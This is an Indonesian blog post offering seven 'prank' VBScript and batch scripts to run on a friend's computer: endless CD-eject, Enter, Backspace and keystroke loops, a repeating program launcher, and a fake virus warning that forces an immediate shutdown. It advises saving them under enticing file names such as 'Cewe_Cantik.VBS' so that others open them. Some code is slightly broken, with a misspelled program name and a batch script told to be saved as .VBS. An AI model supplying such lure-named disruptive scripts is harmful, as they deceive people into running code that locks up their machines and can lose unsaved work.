Script notepad jahi l untuk mengerjai

Script Notepad Untuk Jahilin Temen Selamat malam sobat blogger mau update lagi nih...kali saya memberikan tips untuk mengerjai teman anda..hehehe..Untuk mengerjainya kita hanya butuh notepad dan script kodenya saja. Silahkan lihat scriptnya di bawah ini : 1. Meng-eject Drive CD-Room Terus-Menerus Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

hati2 , klo keseringan bisa wafat tu kompie .. 2. Tombol Enter Terus-terusan Aktif Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks! Code:

WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject(“WScript.Shell”) WshShell.Run “notepad” WScript.Sleep 100 WshShell.AppActivate “Notepad” WScript.Sleep 500 WshShell.SendKeys “Hel” WScript.Sleep 500 WshShell.SendKeys “lo ” WScript.Sleep 500 WshShell.SendKeys “, ho” WScript.Sleep 500 WshShell.SendKeys “w a” WScript.Sleep 500 WshShell.SendKeys “re ” WScript.Sleep 500 WshShell.SendKeys “you” WScript.Sleep 500 WshShell.SendKeys “? ” WScript.Sleep 500 WshShell.SendKeys “I a” WScript.Sleep 500 WshShell.SendKeys “m g” WScript.Sleep 500 WshShell.SendKeys “ood” WScript.Sleep 500 WshShell.SendKeys ” th” WScript.Sleep 500 WshShell.SendKeys “ank” WScript.Sleep 500 WshShell.SendKeys “s!

4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.) Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop

5. Iseng Dengan Membuka Calculator Terus Menerus Code

@ECHO off :top START %SystemRoot%\system32\cacl.exe GOTO top

6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan) Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki” loop

7. Iseng Dengan Shutdown Komputer Code:

@echo off msg * Komputer Anda Terinfeksi Virus shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) NB : Jgn praktekan di komputer anda sendiri. Semoga bermanfaat.